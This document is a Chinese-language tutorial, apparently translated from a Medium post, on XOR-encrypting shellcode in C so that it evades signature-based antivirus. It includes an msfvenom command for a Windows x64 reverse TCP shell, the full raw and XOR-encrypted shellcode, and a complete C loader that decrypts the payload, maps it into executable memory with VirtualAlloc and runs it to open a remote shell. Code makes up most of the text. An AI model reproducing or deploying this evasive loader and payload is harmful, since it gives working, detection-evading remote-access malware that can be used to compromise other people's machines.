为什么我们需要加密？

AV厂商主要有两种检测技术。

1. 基于签名
2. 基于启发式

文件一放入磁盘，第一个就被初始化。它的想法是寻找恶意内容或匹配的哈希（被认为是来自全球数据库的恶意）

第二个试图在沙盒环境中运行应用程序，试图了解它正在尝试做什么。

加密技术专注于绕过基于签名的检测，但它们也有助于启发式方法。这个想法相当简单，我们可以将其加密存储，而不是将真实的恶意 shellcode（十六进制的机器指令）存储在变量中，因此字符串与任何签名都不同。

当然，加密后shellcode无法执行，关键是在运行时解密。

什么是异或？

有许多加密方法，几乎每个人都可以实现自己的。

简而言之，它是一种按位操作，使用给定的自定义密钥一次一个地加密每一位。让我用代码来证明这一点。

它的 C 实现很简单：

#include <stdio.h>unsigned char code[] = "Test";int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code); i++)
 {
  printf("\\x%02x",code[i]^key);
 }
 
}

Output:

\x1f\x2e\x38\x3f\x4b
[出自:jiwo.org]

这旨在仅打印加密的 shellcode。如果需要，我们可以将其写入文件或通过网络发送，但为简单起见，我们将使用复制/粘贴。

现在，让我们创建解密器。算法是一样的，我们需要实现的唯一区别是用之前代码中加密的shellcode替换字符串，在for循环中减小char数组的大小并覆盖字符数组而不是打印出来。让我更清楚地说明：

#include <stdio.h>unsigned char code[] = "\x1f\x2e\x38\x3f\x4b";int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code) - 1; i++)
 {
  code[i] = code[i]^key;
 }
 printf("%s", code);

关键变量需要使用单引号 (') 而不是双引号 (")。当用双引号实现它时，它会破坏算法。

武器化

让我们首先生成恶意有效载荷：

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -fc

然后将输出附加到 encryptor.c

#include <stdio.h>unsigned char code[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
"\x18\x44\x8b\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9"
"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code); i++)
 {
  printf("\\x%02x",code[i]^key);
 }
 
}

现在，让我们通过将输出复制到 decryptor.c 来重复该过程，同时实现 Windows API 以执行 shell：

#include <stdio.h>
#include <windows.h>unsigned char code[] = "\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b";
int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code) - 1; i++)
 {
  code[i] = code[i]^key;
 }
 
 
 void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, code, sizeof code);
 ((void(*)())exec)();
 return 0;
 
}

通过编译和运行程序，我们可以看到 shell 挂起，同时接收到一个shell：

来源：https://medium.com/@lsecqt/encrypting-shellcode-with-xor-offensive-coding-in-c-5a42cb978d6e